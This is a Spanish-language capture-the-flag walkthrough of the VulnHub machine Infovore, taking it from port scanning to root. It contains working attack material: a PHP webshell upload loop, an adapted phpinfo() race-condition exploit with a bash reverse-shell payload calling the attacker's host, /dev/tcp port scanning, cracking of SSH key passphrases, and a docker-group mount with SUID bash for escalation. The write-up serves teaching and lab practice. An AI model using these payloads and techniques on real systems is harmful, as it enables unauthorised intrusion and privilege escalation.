Infovore 1
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Un único puerto 80 esconde un parámetrofilenamecon LFI, pero solo lee/etc/passwd. La vía es uninfo.phpconfile_uploads On: se explota la race condition de phpinfo() para subir una webshell al temporal e incluirla antes de que PHP la borre, ganando shell comowww-datadentro de un contenedor. De ahí se sale con un par de claves SSH cifradas (crackeadas conssh2john) y el reúso de la passphrase para llegar al host comoadmin; comoadminpertenece al grupodocker, el abuso del grupo docker monta la raíz del host y da root.
Reconocimiento
Descubrimiento del host
La máquina es una imagen de VulnHub en la red local, así que antes de escanear puertos hay que encontrarla. Un barrido ARP la saca por su MAC de VMware:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.136 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.156 00:0c:29:77:73:5f VMware, Inc.
192.168.1.141 78:8b:2a:b1:7f:9b Zhen Shi Information Technology (Shanghai) Co., Ltd.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.510 seconds (101.99 hosts/sec). 9 respondedObjetivo: 192.168.1.156.
ping -c 1 192.168.1.156
64 bytes from 192.168.1.156: icmp_seq=1 ttl=64 time=0.45 msTTL 64 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que un 64 sin decrementar significa además que no hay routers de por medio; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.156 -oG scan
Discovered open port 80/tcp on 192.168.1.156
Completed SYN Stealth Scan (65535 total ports)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:77:73:5F (VMware)Un solo puerto. Ni siquiera hay SSH, así que el 80 no es la vía preferente: es la única.

Extracting information...
IP Address: 192.168.1.156
Open ports: 80
Ports copied to clipboardnmap -p80 -sCV 192.168.1.156
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Include me ...
MAC Address: 00:0C:29:77:73:5F (VMware)El título de la página es Include me .... No es decoración: include() es la función de PHP que carga otro fichero, y el autor está anunciando el tipo de vulnerabilidad desde la cabecera HTML. Conviene anotarlo, porque justifica todo el esfuerzo posterior en buscar un parámetro de inclusión.
whatweb 192.168.1.156
http://192.168.1.156 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], HTML5,
HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.1.156], JQuery[3.4.1],
Script, Title[Include me ...], X-Powered-By[PHP/7.4.7]PHP 7.4.7 confirmado por la cabecera X-Powered-By. Wappalyzer, en el navegador, dibuja la misma pila y añade el sistema operativo:

Operating systems: Debian
Web servers: Apache HTTP Server 2.4.38
Programming languages: PHP 7.4.7
JavaScript libraries: jQuery 3.4.1
UI frameworks: Bootstrap 4.3.1
Font scripts: Google Font APILa plantilla es un One Page Wonder de Bootstrap sin nada propio, pero el título de la pestaña no encaja con ella: pone Include me .... El código fuente explica por qué:

<html>
<title>Include me ...</title>
<body>
<p>
<!DOCTYPE html>
<html lang="en">
...
<title>One Page Wonder - Start Bootstrap Template</title>Hay dos documentos HTML pegados: un <html><title>Include me ...</title><body><p> a pelo y, dentro, la plantilla completa con su propio <!DOCTYPE> y su propio <title>. Eso no lo escribe un diseñador: es el envoltorio que imprime un script PHP antes de incluir lo que se le pida. Es decir, index.php no sirve una página, sirve el resultado de incluir un fichero, y el título dice literalmente lo que hay que hacer. Falta averiguar por qué parámetro se le pasa ese fichero.
Enumeración de rutas: casi nada
dirsearch -u http://192.168.1.156 --exclude-status=403,404
[15:05:22] 200 - 1KB - /index.php
[15:05:24] 200 - 79KB - /info.php
[15:05:31] 301 - 317B - /vendor -> http://192.168.1.156/vendor/
Task Completedgobuster dir -u http://192.168.1.156 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/vendor (Status: 301) [Size: 317] [--> http://192.168.1.156/vendor/]
/index.php (Status: 200) [Size: 1141]
/info.php (Status: 200) [Size: 81321]
Progress: 220560 / 220561 (100.00%)El /vendor se recorre igual, y solo contiene los dos directorios de librerías que ya usaba la plantilla:
gobuster dir -u http://192.168.1.156/vendor -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/bootstrap (Status: 301) [Size: 325] [--> http://192.168.1.156/vendor/bootstrap/]
/jquery (Status: 301) [Size: 322] [--> http://192.168.1.156/vendor/jquery/]
Progress: 220564 / 220565 (100.00%)
dirsearch -u http://192.168.1.156/vendor/bootstrap --exclude-status=404,403
[15:10:54] 301 - 328B - /vendor/bootstrap/js -> http://192.168.1.156/vendor/bootstrap/js/
[15:11:13] 301 - 329B - /vendor/bootstrap/css -> http://192.168.1.156/vendor/bootstrap/css/Se recorre /vendor y sus subdirectorios (jquery, bootstrap) y no hay nada más que las librerías. Dos escáneres, 220 560 peticiones el segundo, y el inventario completo son tres recursos. Cuando la enumeración de rutas se agota así, lo que queda por fuzzear no son ficheros: son parámetros.
Fuzzing de parámetros: filename
El título decía "Include me", así que se busca el parámetro que incluye. La técnica es apuntar todos los nombres candidatos a un fichero conocido y quedarse con el que cambie la respuesta:
wfuzz -u 'http://192.168.1.156/?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh=275,4743 -t 100
Target: http://192.168.1.156/?FUZZ=/etc/passwd
Total requests: 220564
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000025372: 200 26 L 33 W 1006 Ch "filename"
Total time: 252.9543
Processed Requests: 220564
Filtered Requests: 220563
Requests/sec.: 871.9518Uno entre 220 564. El doble filtro --hh=275,4743 descarta las dos longitudes de respuesta "normales" (la página con el parámetro ignorado y la de error), y lo que queda es filename devolviendo 1006 caracteres, que es aproximadamente lo que ocupa un /etc/passwd.
Explotación: LFI + phpinfo() race condition
Un LFI que solo lee /etc/passwd

Confirmado el LFI. Pero es un LFI extrañamente limitado:

Cualquier otra ruta devuelve página en blanco. Y los wrappers de PHP, que suelen sortear estas restricciones, tampoco:
http://192.168.1.156/?filename=php://filter/convert.base64-encode/resource=/etc/hosts
Ni base64, ni data://, ni ningún otro filtro. El comportamiento encaja con una lista blanca en el código que solo permite ese fichero concreto, así que la lectura arbitraria está descartada. El LFI, por sí solo, no vale para nada.
Pero un include() no solo lee: ejecuta. Si se consigue que exista un fichero PHP en el disco cuya ruta se pueda pasar por filename, ese código correrá. Y ahí es donde vuelve el info.php del escaneo.
file_uploads On en info.php

file_uploads On On
upload_tmp_dir no value
upload_max_filesize 2Mfile_uploads = On es la directiva clave, y significa algo que sorprende a mucha gente: PHP acepta ficheros en cualquier petición multipart/form-data, exista o no un formulario de subida en la aplicación. Los guarda en un temporal de /tmp con nombre aleatorio y los borra al terminar la petición.
El segundo regalo lo da el propio phpinfo(): entre las variables que imprime está $_FILES, es decir, el tmp_name del fichero recién subido.
Confirmar la subida y el tmp_name
Se captura la petición a info.php, se cambia el método a POST y se le añade un cuerpo multipart:


POST /info.php HTTP/1.1
Host: 192.168.1.156
Content-Type: multipart/form-data; boundary=--prueba
Content-Length: 155
----prueba
Content-Disposition: form-data; name="prueba"; filename="prueba.txt"
Content-Type: text/plain
Esto es un texto de prueba
----prueba
PHP Variables
Variable Value
$_FILES['0'] Array
(
[name] => prueba.txt
[type] => text/plain
[tmp_name] => /tmp/phpQtg4Xn
[error] => 0
[size] => 28
)Ahí está: [tmp_name] => /tmp/phpQtg4Xn. PHP ha aceptado el fichero sin que la aplicación lo pidiera, y phpinfo() nos ha dicho exactamente dónde lo puso. El nombre es aleatorio y cambia en cada petición, y el fichero se destruye en cuanto la respuesta termina de enviarse: por eso hace falta una condición de carrera.
Ganar la carrera: LFI2RCE
La técnica consiste en tres cosas simultáneas: subir por POST un fichero cuyo contenido sea PHP, leer el tmp_name en esa misma respuesta y pedir el LFI apuntando a esa ruta antes de que PHP la borre. Primero se comprueba que se puede extraer el dato desde consola:
curl -X POST http://192.168.1.156/info.php \
-H "Content-Type: multipart/form-data; boundary=--prueba" \
--data-raw $'----prueba\nContent-Disposition: form-data; name="prueba"; filename="prueba.txt"\nContent-Type: text/plain\n\nEsto es un texto de prueba\n----prueba--\n' \
| grep -i prueba.txt -A 2 | tail -n 1 | awk -F ' ' '{print $3}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 71481 0 71335 100 146 11.3M 24317 --:--:-- --:--:-- --:--:-- 13.6M
/tmp/phpDAbiQFUna sola línea de salida, /tmp/phpDAbiQF, que es exactamente lo que hay que meter en el LFI.
Con eso ya se puede montar un bucle que suba la webshell y pida el LFI en cada vuelta:
#!/bin/bash
PAYLOAD='<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; die; }?>'
while true; do
dir=$(curl -X POST http://192.168.1.156/info.php \
-H "Content-Type: multipart/form-data; boundary=--prueba" \
--data-raw $'----prueba\nContent-Disposition: form-data; name="prueba"; filename="prueba.txt"\nContent-Type: text/plain\n\n'"$PAYLOAD"'\n----prueba--\n' \
| grep -i prueba.txt -A 2 | tail -n 1 | awk -F ' ' '{print $3}')
curl "http://192.168.1.156/?filename=$dir"
done
<html>
<title>Include me ... </title>
<body>
<p>
<pre></pre></p>
</body>
</html>
Probando: http://192.168.1.156/?filename=/tmp/phpT86GV5/prueba.txt
Probando: http://192.168.1.156/?filename=/tmp/phpT86GV5
...
Probando: http://192.168.1.156/?filename=/tmp/phpKr3Vow/prueba.txtNo funciona. El motivo es de diseño: bash lanza las dos peticiones en serie, así que entre que termina la primera y arranca la segunda ya han pasado milisegundos de sobra para que PHP haya limpiado el temporal. Ganar esta carrera exige mandar la petición de lectura mientras la de subida sigue abierta, y para eso hace falta paralelismo real.
El exploit de referencia (el de Insomnia Security que documenta HackTricks) hace justo eso con cientos de hilos:
wget https://www.insomniasec.com/downloads/publications/phpinfolfi.py
chmod +x phpinfolfi.py
--2025-03-30 14:14:29-- https://www.insomniasec.com/downloads/publications/phpinfolfi.py
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://insomniasec.com/downloads/publications/phpinfolfi.py [following]
HTTP request sent, awaiting response... 200 OK
Length: 4888 (4.8K) [binary/octet-stream]
Saving to: 'phpinfolfi.py'
phpinfolfi.py 100%[===================>] 4.77K --.-KB/s in 0s
2025-03-30 14:14:31 (152 MB/s) - 'phpinfolfi.py' saved [4888/4888]El script no funciona tal cual: hay que ajustarle cuatro cosas. Las tres primeras van juntas al principio del fichero, y son las rutas y el payload, que pasa a ser una reverse shell:

PAYLOAD="""<?php system("bash -c 'bash -i >& /dev/tcp/192.168.1.80/1234 0>&1'"); ?>\r"""
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
LFIREQ="""GET /index.php?filename=%s HTTP/1.1\rLa cuarta es la que decide si el exploit sirve o no, y no está documentada en ningún sitio: el script busca la cadena [tmp_name] => dentro de la respuesta, pero phpinfo() devuelve HTML, donde ese > va escapado como >. Tal cual, la búsqueda nunca casa y el exploit aborta. Hay que corregirla en los dos sitios donde aparece.

try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)Con eso listo y el nc a la escucha:
nc -nlvp 1234
python2.7 phpinfolfi.py 192.168.1.156 80 100
LFI With PHPInfo()
=================================================
Getting initial offset... found [tmp_name] at 111436
Spawning worker pool (100)...
198 / 1000
Got it! Shell created in /tmp/g
Woot! \m/
Shuttin' down...El exploit primero localiza en qué byte de la respuesta de phpinfo() aparece el tmp_name (found [tmp_name] at 111436), lo que le permite leerlo sin esperar a la respuesta completa; con ese atajo, 198 intentos bastan para caer dentro de la ventana.

listening on [any] 1234 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.156] 53197
www-data@e71b67461f6c:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@e71b67461f6c:/var/www/html$ whoami
www-dataEl tercer argumento (100) es el número de hilos: cuantos más, más probabilidad de que alguno pida el LFI dentro de la ventana. Con 100 basta.
Tratamiento de la TTY
La shell llega sin terminal (nc no negocia PTY), así que lo primero es arreglarla: sin TTY no hay Ctrl+C sin morir, ni historial, ni su.
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
www-data@e71b67461f6c:/var/www/html$ script /dev/null -c bash
Script started, file is /dev/null
www-data@e71b67461f6c:/var/www/html$ ^Z
zsh: suspended nc -nlvp 1234
[1] + continued nc -nlvp 1234
www-data@e71b67461f6c:/var/www/html$ reset xtermFalta declarar el tipo de terminal y ajustar el tamaño al de la terminal local:
export SHELL=bash TERM=xterm
stty rows 50 cols 236
stty size
alias ls="ls -la"
www-data@e71b67461f6c:/var/www/html$ stty size
50 236Salir del contenedor
Tres pruebas de que esto no es la máquina
El prompt www-data@e71b67461f6c ya canta: un identificador hexadecimal de 12 dígitos es el patrón de un ID de contenedor Docker, no un hostname que elija una persona. Se confirma:
hostname && hostname -I
www-data@e71b67461f6c:/var/www/html$ hostname && hostname -I
e71b67461f6c
192.168.150.21Segunda prueba, y más fuerte: la IP no coincide. Escaneamos 192.168.1.156 y la máquina en la que estamos se llama a sí misma 192.168.150.21. Estamos detrás de una red virtual de Docker.
Y la tercera, definitiva, está en la raíz:
ls -la /
-rwxr-xr-x 1 root root 0 Jun 22 2020 .dockerenv
-rw-r--r-- 1 root root 1197 Apr 27 2020 .oldkeys.tgz
drwxr-xr-x 2 root root 4096 Jun 9 2020 bin
.../.dockerenv es el fichero que el propio motor de Docker crea dentro de cada contenedor: su presencia es prueba directa. Y justo al lado, algo que no pinta nada en la raíz de un sistema: .oldkeys.tgz, oculto y de solo 1197 bytes.
Las claves viejas
cp /.oldkeys.tgz /tmp/oldkeys.tgz
cd /tmp && tar -xf oldkeys.tgz
ls -la
cat root.pub-rw------- 1 www-data www-data 751 Apr 27 2020 root
-rw-r--r-- 1 www-data www-data 594 Apr 27 2020 root.pub
$ cat root.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAPV4XEuAQLhu9Lqr3KwiSo9/sFfsb6ighehPgDYsEWHaW9eC7+ivELLDdOvst2Lz4VAy1wzJKTOxAT2RZuU0mzReqG0lKU14RDU3rzXsv4GbwMHrEa...
...Sauao= rootUn par de claves DSA cuyo comentario dice root. La privada no se puede usar tal cual:
cat root
-----BEGIN DSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2037F380706D4511A1E8D114860D9A0E
ds7T1dLfxm7o0NC93POQLLjptTjJMMFVJ4qxNlO2Xt+RBqgAG7YQBy6Tpj2Z2VxZb
...
-----END DSA PRIVATE KEY-----Las dos líneas de cabecera lo dicen todo: Proc-Type: 4,ENCRYPTED y DEK-Info: AES-128-CBC significan que el cuerpo de la clave está cifrado con AES a partir de una passphrase. Hay que romperla:
ssh2john root > hashes.txt
john --wordlist=rockyou.txt hashes.txt
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
choclate93 (id_rsa)
1g 0:00:00:03 DONE (2025-03-30 19:38) 0.3144g/s 2865Kp/s 2865Kc/s 2865KC/s choclitkake..choclat3lov3r
Session completed.La passphrase es choclate93. Fíjate en el formato que anuncia john: la cabecera de la clave decía DEK-Info: AES-128-CBC, y por eso el hash entra como SSH private key; sin el ssh2john previo el fichero no sería crackeable, porque una clave privada no es un hash.
Localizar el host anfitrión
Antes de usar la clave hay que saber contra quién. El contenedor no tiene nmap ni ping, pero bash trae su propio cliente TCP en /dev/tcp: abrir ese pseudo-fichero es abrir una conexión, y si tiene éxito el puerto está abierto.
for i in {1..254}; do timeout 1 bash -c "echo '' > /dev/tcp/192.168.150.$i/80" 2>/dev/null && echo "Host 192.168.150.$i - Activo"; done
Host 192.168.150.1 - ActivoUn solo host en el segmento, y es el .1: la puerta de enlace de la red Docker, o sea la interfaz del anfitrión. Ahora sus puertos, con el mismo truco:
for i in {1..65535}; do timeout 1 bash -c "echo '' > /dev/tcp/192.168.150.1/$i" 2>/dev/null && echo "Host 192.168.150.1 - Puerto: $i -> Activo"; done
Host 192.168.150.1 - Puerto: 22 → Activo
Host 192.168.150.1 - Puerto: 80 → ActivoEl 22 está abierto en el anfitrión aunque no lo estuviera desde fuera: el SSH solo escucha en la interfaz interna. Eso es exactamente lo que la clave necesita.
El primer intento con la clave falla
ssh -i root root@192.168.150.1
Could not create directory '/var/www/.ssh'.
The authenticity of host '192.168.150.1 (192.168.150.1)' can't be established.
ECDSA key fingerprint is SHA256:47B5q99t6wwHcxTX3Yff0gVrP/Ieun/2T9scPz20xHc.
Are you sure you want to continue connecting (yes/no)? yes
root@192.168.150.1's password:
Permission denied, please try again.Que pida contraseña es el dato: significa que el servidor rechazó la clave pública antes de llegar a pedir la passphrase. Esta clave no sirve para root en el host. Pero la passphrase sí puede servir en otro sitio, porque la gente reutiliza.
Reúso de la passphrase dentro del contenedor
su root # choclate93
cd /root && ls -la
cat .ssh/id_rsa.pub
www-data@e71b67461f6c:/tmp$ su root
Password:
root@e71b67461f6c:/tmp# cd /root/
root@e71b67461f6c:~# ls -la
drwx------ 4 root root 4096 Mar 30 19:00 .
-rw------- 1 root root 5 Mar 30 19:00 .bash_history
drwx------ 2 root root 4096 Jun 23 2020 .ssh
-r-------- 1 root root 79 Jun 22 2020 root.txt
root@e71b67461f6c:~/.ssh# ls
id_rsa id_rsa.pub known_hosts
root@e71b67461f6c:~/.ssh# cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/keLDJowDdeSdHZz26wS1M2o2/eiJ99+acchRJr0lZE0YmqbfoIo+n75VS+eLiT03yonunkVp+lhK+uey7/Tu8JsQSHK1F0gci5FG7MKRU4/+m+0CODwVFTNgw3E4FKg5qu+nt6Exzm... admin@192.168.150.1
root@e71b67461f6c:~/.ssh# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,7E18B5FC6317F2B108B324FAE966C522La passphrase de una clave vieja resulta ser la contraseña de root dentro del contenedor. Y ese root guarda otra clave, cuya pública lleva escrito el destino en el comentario: admin@192.168.150.1. Ese comentario es el mapa entero: usuario admin, en el anfitrión.
La privada vuelve a estar cifrada (Proc-Type: 4,ENCRYPTED, DEK-Info: AES-128-CBC), así que se repite el proceso:
ssh2john id_rsa > hashes.txt
john --wordlist=rockyou.txt hashes.txt
choclate93 (id_rsa)
1g 0:00:00:03 DONE ...
Session completed.La misma choclate93. Tres usos distintos de una sola contraseña: cifrar la clave vieja, la cuenta de root del contenedor y cifrar la clave del host.
SSH al anfitrión como admin
ssh -i id_rsa admin@192.168.150.1
hostname -I && hostname
Enter passphrase for key 'id_rsa':
...
Last login: Tue Jun 23 05:59:43 2020 from 192.168.150.21
admin@infovore:~$ hostname -I && hostname
192.168.1.156 172.17.0.1 192.168.150.1 2a0c:5a83:a30c:ff00:20c:29ff:fe77:735f
infovoreEl hostname ya no es el identificador aleatorio del contenedor sino infovore, y el hostname -I lo confirma: la máquina tiene a la vez la IP externa (192.168.1.156, la que escaneamos al principio), la 172.17.0.1 (la puerta de enlace por defecto de Docker) y la 192.168.150.1 de la red personalizada donde vivía el contenedor. Las tres juntas solo las tiene el anfitrión. Hemos salido.
Escalada de privilegios: grupo docker
echo -e "\nSO: "$(uname) && echo "Kernel Version: "$(uname -r) && echo "User: "$(whoami) \
&& echo "Machine Name: "$(hostname) && echo "IP(s): "$(hostname -I) && echo -e "Information User: "$(id)"\n"
SO: Linux
Kernel Version: 3.16.0-6-amd64
User: admin
Machine Name: infovore
IP(s): 192.168.1.156 172.17.0.1 192.168.150.1 ...
Information User: uid=1000(admin) gid=1000(admin) groups=1000(admin),999(docker)admin pertenece al grupo 999(docker), y eso equivale a ser root. El motivo no es un fallo: el demonio de Docker corre como root y cualquiera que pueda hablarle puede pedirle que monte el disco del anfitrión dentro de un contenedor, donde seremos root sin restricciones.
docker images
docker run -dit -v /:/mnt/root theart42/infovore
docker ps
docker exec -it <name> bashDentro del contenedor, /mnt/root es la raíz del anfitrión. Se marca /bin/bash como SUID y se sale:
cd /mnt/root/bin && chmod u+s bash && exit
ls -l /bin/bash
bash -p
cat /root/root.txt
admin@infovore:~$ docker run -dit -v /:/mnt/root theart42/infovore
876a2359488f3ca1183415924036abe13a2de6b8100458f96d77961fe9cec444
root@876a2359488f:/mnt/root/bin# chmod u+s bash
root@876a2359488f:/mnt/root/bin# exit
admin@infovore:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1029624 Mar 25 2019 /bin/bash
admin@infovore:~$ bash -p
bash-4.3# cat /root/root.txt
FLAG{And_now_You_are_done}La s en -rwsr-xr-x es la prueba de que el cambio se aplicó al binario del anfitrión desde dentro del contenedor. bash -p conserva el euid de root (sin -p, bash renuncia al privilegio al detectar que UID real y efectivo no coinciden) y devuelve FLAG{And_now_You_are_done}.
Máquina pwneada.
Cadena de ataque
puerto 80 ("Include me ...") -> fuzzing de parámetros (1 de 220 564) -> filename (LFI, solo /etc/passwd)
└─> info.php: file_uploads On + $_FILES filtrado -> race condition de phpinfo() -> LFI2RCE
└─> www-data en un contenedor (/.dockerenv, IP 192.168.150.21) -> /.oldkeys.tgz -> ssh2john/john
└─> choclate93 -> su root del contenedor -> clave con comentario admin@192.168.150.1
└─> /dev/tcp: 22 y 80 en el gateway -> ssh admin@192.168.150.1
└─> grupo docker -> -v /:/mnt/root -> chmod u+s bash -> rootLecciones aprendidas
- Un LFI que solo lee un fichero aún puede ser RCE. Con
file_uploads Ony unphpinfo()accesible, la race condition convierte la lectura en ejecución;include()no lee, ejecuta. phpinfo()en producción es peligroso. Filtra eltmp_namedel fichero subido, la pieza exacta que la carrera necesita, y de paso confirma la directiva que la hace posible.- Una carrera no se gana en serie. El script en bash falla porque manda las peticiones una detrás de otra; hacen falta cientos de hilos para que alguno caiga dentro de la ventana.
- Tres señales delatan un contenedor: un
hostnamehexadecimal, una IP que no coincide con la escaneada y, sobre todo, el fichero/.dockerenv. Reconocerlo cambia la estrategia: primero salir, luego escalar. - Sin herramientas, bash es el escáner.
/dev/tcpdescubre el anfitrión y sus puertos sin subir un solo binario, y ahí aparece un SSH que desde fuera no existía. - La misma passphrase se reutiliza.
choclate93cifraba dos claves distintas y además era la contraseña derootdel contenedor. - Estar en el grupo
dockeres ser root. Montar/del host en un contenedor y tocar/bin/bashes escalada inmediata; el grupodockerno es un permiso "de usuario".